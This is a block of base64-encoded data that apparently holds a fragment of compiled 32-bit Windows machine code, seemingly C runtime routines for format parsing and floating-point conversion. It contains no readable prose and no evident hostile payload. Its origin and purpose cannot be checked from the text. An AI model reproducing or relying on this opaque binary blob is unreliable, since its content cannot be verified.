BdBeAfjAAdASwAesPjUX4i85Q6BMHAADrAjLAXovlXcOL/1WL7IPsENnujUXwVlCD7CDGRf8Ai/GNRf+LzN1d8FD/djSNRgj/djBQUeja2v//g8QU/3Zo6Gjb//+DxCiAff8AdByD+AF0F4B+LgB0BLAB6w+NRfCLzlDo4gYAAOsCMsBei+Vdw4v/VYvsg+wQ2e6NRfBWUIPsIMZF/wCL8Y1F/4vM3V3wUP92PI1GCP92OFBR6HLa//+DxBT/dlDo9tv//4PEKIB9/wB0HIP4AXQXgH4wAHQEsAHrD41F8IvOUOi3BgAA6wIywF6L5V3Di/9Vi+yD7BxTVovxM9tXOF4udTqDRmwEi05si1n8hdt1F+gqdAAAxwAWAAAA6OhwAAAywOkgAQAAiwaD4AGDyAB0C41BBIlGbIt4/OsDg8//hf91IYsGg+AEC8d0C41OCOjnMwAAxgMA6ONzAADHAAwAAADrvIN9CACLRjCJRfCLRjSJReyJXeiJffx0C4P//3QGjUf/iUX8M9IzyYtF8AtF7IlN+IlV9HQKO1XwdQU7Tex0ZY1OCOiQMwAAUP91CIvOiUXk6PgzAACEwHQ5gH4uAHUXi0X8hcB0HotN6ItV5IgRQUiJTeiJRfyLVfSLTfiDwgGD0QDro4P//w+EZv///+le////i1XkjU4IUuhvRwAAi034i1X0i8ILwQ+EDv///4N9CAB1GDtV8HUFO03sdA6LBoPgBIPIAA+E8P7//4B+LgB1D4N9CAB0BotF6MYAAP9GcLABX15bi+VdwggAi/9Vi+yD7BxTVovxM9tXOF4wdTqDRlQEi05Ui1n8hdt1F+jIcgAAxwAWAAAA6IZvAAAywOkpAQAAiwaD4AGDyAB0C41BBIlGVIt4/OsDg8//hf91IYsGg+AEC8d0C41OCOibMgAAxgMA6IFyAADHAAwAAADrvIN9CACLRjiJRfCLRjyJReyJXeSJffR0C4P//3QGjUf/iUX0M9IzyYtF8AtF7IlN/IlV+HQKO1XwdQU7Tex0bo1OCOhEMgAAD7fAi85Q/3UIiUXo6NkyAACEwHRAgH4wAHUeg330AHQm/3XojUX0i85QjUXkUFdT6ERHAACEwHQni1X4i038g8IBg9EA65mD//8PhFz////pVP////916I1OCOgjRgAAi1X4i038i8ILwQ+EBf///4N9CAB1GDtV8HUFO03sdA6LBoPgBIPIAA+E5/7//4B+MAB1D4N9CAB0BotF5MYAAP9GWLABX15bi+VdwggAi/9Vi+yD7BxTVovxM9tXOF4udTqDRmwEi05si1n8hdt1F+hdcQAAxwAWAAAA6BtuAAAywOkqAQAAiwaD4AGDyAB0C41BBIlGbIt4/OsDg8//hf91I4sGg+AEC8d0DY1OCOgaMQAAM8BmiQPoFHEAAMcADAAAAOu6g30IAItGMIlF8ItGNIlF7Ild5Il99HQLg///dAaNR/+JRfQz0jPJi0XwC0XsiU38iVX4dAo7VfB1BTtN7HRrjU4I6MEwAABQ/3UIi86JRejoKTEAAITAdECAfi4AdR6DffQAdCb/deiNRfSLzlCNReRQV1PoaUUAAITAdCeLVfiLTfyDwgGD0QDrnIP//w+EX////+lV/////3XojU4I6JpEAACLVfiLTfyLwgvBD4QG////g30IAHUYO1XwdQU7Tex0DosGg+AEg8gAD4To/v//gH4uAHURg30IAHQIi0XkM8lmiQj/RnCwAV9eW4vlXcIIAIv/VYvsg+wcU1aL8TPbVzheMHU6g0ZUBItOVItZ/IXbdRfo8W8AAMcAFgAAAOivbAAAMsDpKgEAAIsGg+ABg8gAdAuNQQSJRlSLePzrA4PP/4X/dSOLBoPgBAvHdA2NTgjoxC8AADPAZokD6KhvAADHAAwAAADruoN9CACLRjiJRfCLRjyJReyJXeiJffx0C4P//3QGjUf/iUX8M9IzyYtF8AtF7IlN+IlV9HQKO1XwdQU7Tex0a41OCOhrLwAAD7fAi85Q/3UIiUXk6AAwAACEwHQ8gH4wAHUai0X8hcB0IYtN6ItV5GaJEYPBAkiJTeiJRfyLVfSLTfiDwgGD0QDrnYP//w+EYP///+lW////i1XkjU4IUuhNQwAAi034i1X0i8ILwQ+EBv///4N9CAB1GDtV8HUFO03sdA6LBoPgBIPIAA+E6P7//4B+MAB1EYN9CAB0CItF6DPJZokI/0ZYsAFfXluL5V3CCACL/1WL7FOLTQjomi4AAIvYg/v/dBX/dQwPtstqCFHouEUAAIPEDIXAddyLw1tdw4v/VYvsVotNCOiBLgAAD7fwuP//AABmO/B0DmoIVuidowAAWVmFwHXdZovGXl3Di/9Vi+yDQWwEi0Fsi1D8hdJ1FOg2bgAAxwAWAAAA6PRqAAAywOsMi0UI/0FwiwCJArABXcIEAIv/VYvsg0FUBItBVItQ/IXSdRTo/20AAMcAFgAAAOi9agAAMsDrDItFCP9BWIsAiQKwAV3CBACL/1WL7INBbASLQWyLUPyF0nUU6MhtAADHABYAAADohmoAADLA6xL/QXCLTQiLAYkCi0EEiUIEsAFdwgQAi/9Vi+yDQVQEi0FUi1D8hdJ1FOiLbQAAxwAWAAAA6ElqAAAywOsS/0FYi00IiwGJAotBBIlCBLABXcIEAIv/VYvsi0UIi9FTM9tXiQKNeiyLRQyJQgSLRRBqCIlCCDPAWYlaDPOrX4laEIvCZolaFIhaFolaGIlaHIlaIIhaJIlaKFtdwgwAi/9Vi+yLRQgz0okBi0UMiUEEi0UQiUEIM8CJUQyJUTSJQRSLwYlREIhRGIlRIIlRJIlRKIhRLIlRMF3CDACL/1WL7ItFCINhEACDYRQAiQGLRQyJQQiLRRCJQQyLRRSJQRiFwHQDxgABi8FdwhAAi/9Vi+yLVQyLRRBTVot1CIvZV/91FIkTjXsIiUMEjUsYpVBSpaXoHP///4tFGINjcACDY3QAiUNoi0UcX4lDbIvDXltdwhgAi/9Vi+yLVQyLRRBTVot1CIvZV/91FIkTjXsIiUMEjUsYpVBSpaXoHv///4tFGINjWACDY1wAiUNQi0UcX4lDVIvDXltdwhgAi/9Vi+xWi/H/NuiLZQAAi1UIgyYAWYsCiQaLxoMiAF5dwgQAi/9Wi/GLRgSLDg+2AFDokj8AAItGBMYAAItGCIsO/3AE/zDoCzMAAF7Di/9Wi/GLRgSLDg+3AFDoqT8AAItGBDPJZokIi0YIiw7/cAT/MOjfMgAAXsOL/1NWi/Ez2zleDHQHMsDpCQEAAItGCIleEGaJXhSIXhaJXhiJXhyJXiCIXiSJXig4GHUJx0YQAQAAAOvQD7YAUOgGaQAAWYXAdCTHRhACAAAA6wP/RgiLRggPtgBQ6OloAABZhcB17LAB6a4AAACLTgiAOSUPhYAAAACNQQGAOCV0eMdGEAQAAACJRgiAOCp1CEDGRhYBiUYIi87oLDUAAITAD4Rk////i87o6DcAAIvO6Ic6AACLzuhEMgAAhMAPhEf///9rTigMi0YgOJwBuMkDEHWSiV4QZoleFIheFoleGIleHIleIIheJIleKMdGDBYAAADpEv///8dGEAMAAACKAYhGFDPAgDklUw+UwEEDwYvOiUYI6Mw5AABeW8OL/1aL8TPJOU4MdAQywF7DM8CJThCJRhSLRgiIThiJTiCJTiSJTiiITiyJTjBmOQh1CcdGEAEAAADr0Q+3AGoIUOiAnwAAWVmFwHQmx0YQAgAAAOsEg0YIAotGCGoID7cAUOhfnwAAWVmFwHXo6YwAAACLTghqJVpmORF1ZI1BAmY5EHRci87HRhAEAAAAiUYI6AM0AACLzuivNAAAhMAPhGf///+LzujsNwAAi87oiTkAAIvO6JMyAACEwA+ESv///2tOMAyLRiiAvAG4yQMQAHUrahaLzui2MAAA6Sv////HRhADAAAAZosBZolGFDPAZjkRD5TAQI0EQYlGCLABXsOAeQQAdAOLAcNqAGifAQAAaGDIAxBoyMgDEGgkyQMQ6DZmAADMgHkEAHUDiwHDagBopQEAAGhgyAMQaEDJAxBonMkDEOgRZgAAzIv/VYvsi00MgHkEAHQS6KP///9Q/3UI6DjL//9ZWV3D6Lb///8zyThNCA+VwcHhH4HJAACAf4kIXcOL/1WL7IPsJFNWi3UMM9tXi30IO/N3FoP//3cRD73HiV3cdAWNSAHrFIvL6xAPvcaJXdyNSAF1AovLg8Egi0UcM9KKQASEwIhF/w+UwjPASoPiHYPCGCvRi00QK8qJVfQ4Rf+JTfgPlMBIJYADAACDwH+JRfA7yH4V/3Uc/3UU6EL///9ZWWoDWOm3AgAAM8A4Rf8PlMBIJYD8//+DwII7yA+NNQEAAItF8EgDwYtN8APC99mJReyJTfiFwA+JEgEAAPfYiUXwg/hAD4PwAAAAjUj/M9IzwEDoOwsBAItN8IlF6IPA/4lF4IvCg9D/iVXkiUXcM9IzwEDoGgsBACPHxkX9ASPWC8J1A4hd/YtF6ItN5CPHI84LwbEBdQKKy4hN/zhdGHQQi0Xgi1XcI8cj1gvCisN0ArABiEX+hMl1BITAdDXoKJ4AAIXAdBs9AAEAAHQMPQACAAB1HopdFOsZOF0UD5TD6xE4Xf90DDhd/nUFOF39dAKzAYtN8IvHi9boswoBAIv4i/IPtsOZA/iLxxPyC8Z0KYtNHOgYIgAAO/IPgl0BAAB3CDv4D4ZTAQAAi10QK13sK130S+lHAQAA/3Uc/3UU6A8DAABZWWoC6bT+//+LTezpGwEAAIXSD4kOAQAA99qJVfSD+kByCYv7i/PpwQAAADPAjUr/QDPS6BQKAQCLTfSJRdyDwP+JReSLwoPQ/4lV4IlF6DPSM8BA6PMJAQAjx8ZF/wEj1gvCdQOIXf+LRdyLTeAjxyPOC8GxAXUCisuITf04XRh0EItF5ItV6CPHI9YLworDdAKwAYhF/oTJdQSEwHQ16AGdAACFwHQbPQABAAB0DD0AAgAAdR6KXRTrGThdFA+Uw+sROF39dAw4Xf51BThd/3QCswGLTfSLx4vW6IwJAQCL+IvyD7bDmQP4E/KLTRzoxCcAADvyckB3BDv4djqLTRwzwItd+A+s9wHR7kM4QQQPlMBIJYADAACDwH872H4bUemK/f//fhCLTfSL1ovH6BgJAQCL8ov4i134i00c6KggAAAj+CPyi0Uci8iAeAQAdBPoWfz//1BWV1P/dRTo3cj//+sR6Gv8//9QVldT/3UU6JrI//+DxBRfXluL5V3Di/9Vi+yD7Bwz0lOLXRhWV4t9DDhTBA+UwkqD4h2DwheD/0B3OYtNCIM5AHYFi3EE6wIz9oM5AXYFi0kI6wIzyYB9FABTD5TAD7bAUP91EDPAA8ZSg9EAUVDpIQEAAIvHwe8Fg+AfiUXkjXf+hcB1UYvOweEFA8qLVQiLFLqLfQgDRLcEiUXsg9IAgH0UAIlV9A+UwohV8IX2dBmDxwSDPwCNfwQPlMAi0IPuAXXwi0XsiFXwU/918P91EFH/dfTrlzPbiXX8wWX8BYvIAUX8QwFV/Ild+NNl+P9N+GpAWSvIi0UIiU3og8Hgi1SwBIsEuIlV7DPS6NEHAQCLTeiJRfSLRQiJVfAz0otEuASLffgjx+i1BwEAAUX0i8eLTeT30BFV8DPSI0Xs6L4HAQCLTfQDyItF8IlN9BPCgH0UAIlF8HUFhX3sdAIy24hd+IX2dB+LTQiDwQSDOQCNSQQPlMAi2Ihd+IPuAXXti030i0Xw/3UY/3X4/3UQ/3X8UFHoMPv//4PEGF9eW4vlXcOL/1WL7ItNDIB5BAB0EuiP+v//UP91COh1x///WVldw+ii+v//M8k4TQgPlcHB4R+JCF3Di/9Vi+yB7CwLAAChGAAGEDPFiUX8i00MM8BTVlc4QQSLfQgPlMCJvbD2//9IiY2o9v//g+Adix+DwBmJhaz2//+F23kCM9uLRwSLyzvYcgKLyIPACI1XCAPHA9GJhcT2//8r2SvCiZ3M9v//g8cIiYXg9v//M8CJldT2//8z9omF6Pb//zPJiYUs/v//ibXk9v//ib3c9v//O/p1DYvY6WsGAACLhej2//+D+QkPhTcBAACFwA+EkwAAAIud6Pb//zPJM/a/AMqaO4uEtTD+///35wPBiYS1MP7//4PSAEaLyjvzdeSLvdz2//+LhSz+//+FyXRMg/hzcxaJjIUw/v//i4Us/v//QImFLP7//+sxg6W8+P//AI2FwPj//4OlLP7//wBqAFCNhTD+//9ozAEAAFDoJsIAAIuFLP7//4PEEIu15Pb//4mF6Pb//4X2D4SCAAAAM9KFwHQeM8ABtJUw/v//E8BCi/CLhSz+//+Jhej2//870HXihfZ0WoP4c3McibSFMP7//4udLP7//0OJnej2//+JnSz+///rP4OlvPj//wCNhcD4//+DpSz+//8AagBQjYUw/v//aMwBAABQ6JjBAACLnSz+//+DxBCJnej2///rBoud6Pb//4uV1Pb//zP2M8nrBoud6Pb//w+2B2v2CgPwQUeJteT2//+Jvdz2//87+g+Flv7//4XJD4TzBAAAi8Ez0moKWffxiYXI9v//i8qJjbj2//+FwA+EfwMAAIP4JnYDaiZYD7YMhZ7HAxAPtjSFn8cDEIv5iYXQ9v//wecCV40EMYmFvPj//42FwPj//2oAUOiKg///i8bB4AJQi4XQ9v//D7cEhZzHAxCNBIWYvgMQUI2FwPj//wPHUOgQBwEAi4W8+P//M8lBg8QYO8EPh7MAAACLtcD4//+F9nUaM8CJhez2//+JhSz+//9QjYXw9v//6Z0CAAA78XUHisHptQIAAIXbdPUzyTP/i8b3pL0w/v//A8GJhL0w/v//g9IAR4vKO/t15IXJdE+LhSz+//+D+HNzFomMhTD+//+LnSz+//9DiZ0s/v//6zQz242FwPj//4mdvPj//1NQjYUw/v//iZ0s/v//aMwBAABQ6BLAAACKw+kvAgAAi50s/v//sAHpKwIAADvZD4eOAAAAi70w/v//u8wBAACJhSz+///B4AJQjYXA+P//UI2FMP7//1NQ6M2/AACDxBAzwIX/dRpQiYW8+P//iYUs/v//jYXA+P//UFPpwAEAAIudLP7//0CJnej2//87+A+EyAEAAIXbD4TAAQAAM8kz9ovH96S1MP7//wPBiYS1MP7//4PSAEaLyjvzdeTpCv///zvDjbXA+P//D5LBhMl1II21MP7//42VwPj//4mV3Pb//4TJdBKL0ImV6Pb//+sQjZUw/v//6+SL04md6Pb//4TJdQKL2DPJM/+JjVz8//+F0g+EDwEAAI2FYPz//yvwibW09v//jQS+i4QFYPz//4mFpPb//4XAdR07+Q+F3AAAACGEvWD8//+NTwGJjVz8///pxwAAADPSM8CJldj2//+L94mFvPb//4XbD4SYAAAAg/5zdFs78XUXg6S1YPz//wBAA8eJhVz8//+Lhbz2//+Ljdz2//+LBIH3paT2//8Dhdj2//+D0gABhLVg/P//i4W89v//i41c/P//g9IAQImV2Pb//0aJhbz2//87w3WghdJ0NIP+cw+E7AAAADvxdRGDpLVg/P//AI1GAYmFXPz//4vCM9IBhLVg/P//i41c/P//E9JG68iD/nMPhLgAAACLlej2//+LtbT2//9HO/oPhf/+//+LwYmNLP7//8HgAlCNhWD8//9QaMwBAACNhTD+//9Q6N69AACwAYudLP7//4PEEImd6Pb//4TAdDGLhcj2//8rhdD2//+Jhcj2//8PhYf8//+Ljbj2//+FyQ+EtwAAAIs8jTTIAxCF/3VMg6W8+P//AI2FwPj//4OlLP7//wBqAFCNhTD+//9ozAEAAFDocL0AAIuFLP7//4PEEImF6Pb//+t5M9uNhfD2//+Jnez2///pIf3//4uF6Pb//4P/AXRbhcB0VzPJi9gz9ovH96S1MP7//wPBiYS1MP7//4PSAEaLyjvzdeSLhSz+//+FyXSqg/hzD4Nw////iYyFMP7//4uFLP7//0CJhej2//+JhSz+///rBouF6Pb//4uV5Pb//4XSD4SCAAAAM8mFwHQei8Iz0gGEjTD+//+LhSz+//8T0omF6Pb//0E7yHXihdJ0WoP4c3MciZSFMP7//4udLP7//0OJnej2//+JnSz+///rP4OlvPj//wCNhcD4//+DpSz+//8AagBQjYUw/v//aMwBAABQ6Ge8AACLnSz+//+DxBCJnej2///rBoud6Pb//4uFzPb//4XAD4QTBAAAagoz0ln38YmF2Pb//4vKiY249v//hcAPhK0DAACD+CZ2A2omWA+2DIWexwMQD7Y0hZ/HAxCL+YmFvPb//8HnAleNBDGJhbz4//+NhcD4//9qAFDohX7//4vGweACUIuFvPb//w+3BIWcxwMQjQSFmL4DEFCNhcD4//8Dx1DoCwIBAIuFvPj//zPJQYPEGDvBD4eUAAAAi73A+P//hf91QzPAUImF7Pb//4mFLP7//42F8Pb//1BozAEAAI2FMP7//1Doe7sAAIPEEIudLP7//7ABiZ3o9v//i53o9v//6cECAAA7+XUEisHr7YXbdPgzyTP2i8f3pLUw/v//A8GJhLUw/v//g9IARovKO/N15OmnAAAAiYyFMP7//4udLP7//0OJnSz+///rpjvZD4fXAAAAi70w/v//u8wBAACJhSz+///B4AJQjYXA+P//UI2FMP7//1NQ6Oe6AACDxBAzwIX/dRpQiYW8+P//iYUs/v//jYXA+P//UFPpPf///4udLP7//0CJnej2//87+A+ERf///4XbD4Q9////M8kz9ovH96S1MP7//wPBiYS1MP7//4PSAEaLyjvzdeSFyQ+EB////4uFLP7//4P4cw+CQv///zPbjYXA+P//U1CNhTD+//+Jnbz4//9ozAEAAFCJnSz+///oSboAAIrDg8QQi50s/v//6cn+//87w42VwPj//w+SwYTJdQaNlTD+//+JleT2//+NlTD+//+EyXUGjZXA+P//iZXI9v//hMl0Cov4ib3c9v//6wiL+4md3Pb//4TJdQKL2DPSM/aJlVz8//+F/w+EBwEAAIuF5Pb//42NYPz//yvBiYXk9v//jQSwi4QFYPz//4mFzPb//4XAdR078g+FyAAAACGEtWD8//+NVgGJlVz8///pswAAADPAM/+JhdD2//+LzoXbD4SQAAAAg/lzdFM7ynUXg6SNYPz//wBAA8aJhVz8//+LhdD2//+Llcj2//+LBIL3pcz2//8Dx4PSAAGEjWD8//+LhdD2//+D0gBAQYmF0Pb//4v6i5Vc/P//O8N1qIX/dDSD+XMPhPwAAAA7ynURg6SNYPz//wCNQQGJhVz8//+LxzP/AYSNYPz//4uVXPz//xP/QevIg/lzD4TIAAAAi73c9v//i4Xk9v//Rjv3D4UN////i8KJlSz+///B4AJQjYVg/P//UI2FMP7//2jMAQAAUOivuAAAg8QQsAGLnSz+//+Jnej2//+EwA+EpwAAAIuF2Pb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//42F8Pb//1CNhZD6//9ozAEAAFDocLEAAIPEEDLA6Sz///+Dpbz4//8Ag6WM+v//AGoA6w8zwFCJhYz6//+Jhbz4//+NhcD4//9QjYWQ+v//aMwBAABQ6C2xAACDxBCLnYz6//+JneT2//+Lldz2//+F0nR6M8mF23Qei8Iz0gGEjZD6//+LnYz6//8T0omd5Pb//0E7y3XihdJ0UoP7c3MWiZSdkPr//4udjPr//0OJnYz6///rMYOlvPj//wCNhcD4//+DpYz6//8AagBQjYWQ+v//aMwBAABQ6KmwAACLnYz6//+DxBCJneT2//+LheD2//+LjbD2//+DOQB9AisBagoz0oOlZPz//wBe9/YzyUGJlbT2//+JjWD8//+JjeD2//+JjVz8//+Jhcj2//+FwA+E2gMAAIP4JnYDaiZYD7YMhZ7HAxAPtjSFn8cDEIv5iYXQ9v//wecCV40EMYmFvPj//42FwPj//2oAUOiwcv//i8bB4AJQi4XQ9v//D7cEhZzHAxCNBIWYvgMQUI2FwPj//wPHUOg29gAAi4W8+P//M9JCg8QYO8IPh6EAAACDvcD4//8AdUMzwFCJhez2//+JhVz8//+NhfD2//9QaMwBAACNhWD8//9Q6KevAACDxBCLjVz8//+wAYmN4Pb//4uN4Pb//+nvAgAAOZXA+P//dQSKwuvpi43g9v//hcl08jP2M/+LhcD4///3pL1g/P//A8aJhL1g/P//g9IAR4vyO/l14Om/AAAAibSFYPz//4uNXPz//0GJjVz8///rmIuN4Pb//zvKD4fpAAAAi7Vg/P//v8wBAACJhVz8///B4AJQjYXA+P//ibXM9v//UI2FYPz//1dQ6PmuAACDxBAzwIX2dRpQiYW8+P//iYVc/P//jYXA+P//UFfpI////4uNXPz//0CJjeD2//878A+EK////4XJD4Qj////i53M9v//M/Yz/4vD96S9YPz//wPGiYS9YPz//4PSAEeL8jv5deSLneT2//+F9g+E4f7//4uFXPz//4P4cw+CKv///zPAUImFvPj//4mFXPz//42FwPj//1CNhWD8//9ozAEAAFDoT64AAIuNXPz//4PEEDLA6aP+//87wY21wPj//w+SwoTSdXmNtWD8//+NvcD4//+JvcT2//+Jhdj2//+E0nUIiY3Y9v//i8gz0jP/iZXs9v//OZXY9v//D4QlAQAAjYXw9v//K/CJtbj2//+NBL6LhAXw9v//iYXM9v//hcB1JTv6D4XuAAAAIYS98Pb//41XAYmV7Pb//+nZAAAAjb1g/P//64uDpdT2//8AM8CJhdz2//+L94XJD4SpAAAAg/5zdFs78nUXg6S18Pb//wBAA8eJhez2//+Lhdz2//+LlcT2//+LBIL3pcz2//8DhdT2//+D0gABhLXw9v//i4Xc9v//g9IAQEaJldT2//+Llez2//+Jhdz2//87wXWgg73U9v//AHRAg/5zD4QAAQAAO/J1EYOktfD2//8AjUYBiYXs9v//i4XU9v//M9IBhLXw9v//E9JGiZXU9v//hdKLlez2//91wIP+cw+EwAAAAIu1uPb//0c7vdj2//8Phen+//+LwomVXPz//8HgAlCNhfD2//9QjYVg/P//aMwBAABQ6K2sAACDxBCwAYuNXPz//4mN4Pb//4TAD4ShAAAAi4XI9v//K4XQ9v//iYXI9v//D4Us/P//i5W09v//hdIPhD0BAACLBJU0yAMQiYXM9v//hcB1fFCJhdT0//+JhVz8//+Nhdj0//9QjYVg/P//aMwBAABQ6DisAACDxBCLjVz8//+JjeD2///p+QAAADPAUImF1PT//4mFXPz//42F2PT//1CNhWD8//9ozAEAAFDo/asAAIPEEDLA6Uv///+DpdT0//8Ag6Vc/P//AGoA63OD+AEPhKcAAACFyQ+EnwAAADP/M/b3pLVg/P//A8eJhLVg/P//i4XM9v//g9IARov6O/F14IX/D4Rv////i4Vc/P//g/hzcxyJvIVg/P//i41c/P//QYmN4Pb//4mNXPz//+tSM8CJhdT0//+JhVz8//9QjYXY9P//UI2FYPz//2jMAQAAUOhWqwAAi4Ww9v//g8QQ/7Wo9v//D7aACAMAAFDop+f//1lZagLp8PP//4uN4Pb//4XbdQQz9usgi4SdjPr//4OlzPb//wAPvcB0A0DrAjPAjXP/weYFA/CFyXUEM9LrIIuEjVz8//+Dpcz2//8AD73AdANA6wIzwI1R/8HiBQPQi8Irxjvyav8b9iPwibXU9v//Xw+GrQEAAIuF1Pb//zPSg+Afwe4FaiBZK8iJhcj2//8zwIm13Pb//0CJjbj2///oQO4AAIuMnYz6//9ID73JiYW09v//99CJhcz2//90A0HrAjPJaiBYK8GNFB45hcj2//+JldD2//8Pl8CD+nOIhcP2//8Pl8GD+nN1CITAdASwAesCMsCEyQ+F6gAAAITAD4XiAAAAg/pycglqclqJldD2//+LyomN2Pb//zvXD4SPAAAAi4Xc9v//i/Ir8I2VkPr//40UsjvIcmw783MEiwLrAjPAiYXE9v//jUb/O8NzBYtC/OsCM8Ajhcz2//+D6gSLjbj2//+LncT2//8jnbT2///T6IuNyPb//9Pji43Y9v//C8OJhI2Q+v//SU6Jjdj2//87z3QOi52M+v//i4Xc9v//65CLldD2//+Ltdz2//+F9nQPM8CNvZD6//+LzvOrg8//gL3D9v//AI1aAYuN4Pb//4u11Pb//3UCi9qJnYz6///rPDPAUImF1PT//4mFjPr//42F2PT//1CNhZD6//9ozAEAAFDoKqkAAIudjPr//4PEEIuN4Pb//4u11Pb//4uVrPb//4uFvPb//yvQiZWs9v//hcB0K4vCO/B2If+1qPb//4uFsPb//2oBD7aACAMAAFD/tbz2///pGgMAAIvQK9Y72Xc5cjCNS/87z3Qwi4SNkPr//zuEjWD8//91BUk7z3XrO890F4uEjZD6//87hI1g/P//dwdGibXU9v//i/IzwIPiH8HuBWogWSvKiZXI9v//QIm13Pb//zPSiY249v//6BfsAACLjJ2M+v//SA+9yYmFtPb///fQiYXM9v//dAWNQQHrAjPAaiBZK8iNFB45jcj2//+JldD2//8Pl8CD+nOIhcP2//8Pl8GD+nN1CITAdASwAesCMsCEyQ+F5AAAAITAD4XcAAAAg/pycglqclqJldD2//+LyomN2Pb//zvXD4SPAAAAi4Xc9v//i/Ir8I2VkPr//40UsjvIcmw783MEiwLrAjPAiYXE9v//jUb/O8NzBYtC/OsCM8Ajhcz2//+D6gSLjbj2//+LncT2//8jnbT2///T6IuNyPb//9Pji43Y9v//C8OJhI2Q+v//SU6Jjdj2//87z3QOi52M+v//i4Xc9v//65CLldD2//+Ltdz2//+F9nQPM8CNvZD6//+LzvOrg8//gL3D9v//AHQLjUIBiYWM+v//6zKJlYz6///rKjPAUImF1PT//4mFjPr//42F2PT//1CNhZD6//9ozAEAAFDoBacAAIPEEI2FXPz//1CNhYz6//9Q6FoCAACDvYz6//8Ai9hZWYvKiZ3E9v//D5TCiY3c9v//iJXY9v//hcl1Ejvfdw4PvcN0BY1wAesTM/brDw+9wXQFjXAB6wIz9oPGIIuFrPb//zvwdkkr8ITSdCUzwDPSQIvO6DfqAACLjdz2//8Dx8aF2Pb//wET1yPDI9ELwnQHxoXY9v//AIvRi8OLzugs6gAAiYXE9v//iZXc9v//i42s9v//M8A7hej2//8b9kAjtTD+//87hej2//8b0jPAI5U0/v//A8aD0gDoz+kAAIvIi4W89v//A43E9v//E5Xc9v//hcB0BY14/usGK73U9v///7Wo9v//i4Ww9v///7XY9v//D7aACAMAAFBXUlHoct3//4PEGOst/7Wo9v//hcAPlcAPtsBQi4Ww9v//D7aACAMAAFBRjYUs/v//UOiP4P//g8QUi038X14zzVvoZF///4vlXcOL/1WL7FFRi0UMM8mLVQhTVjPbVzP/jXIIOEgEiwIPlMFISYPhHYPBGAPBjUoIiUX4i0IEA8iJTfw78XQ1i00M6G4HAAA72ncjcgQ7+HcdD7YGi038D6T7BJnB5wQD+BPag234BEY78XXT6wOLTfyLVQiwAesNhMB0EIoGRoTAdPEywIhF/Dvxdez/dQwPtoIIAwAA/3X8UP91+FNX6I3c//+DxBhfXluL5V3Di/9V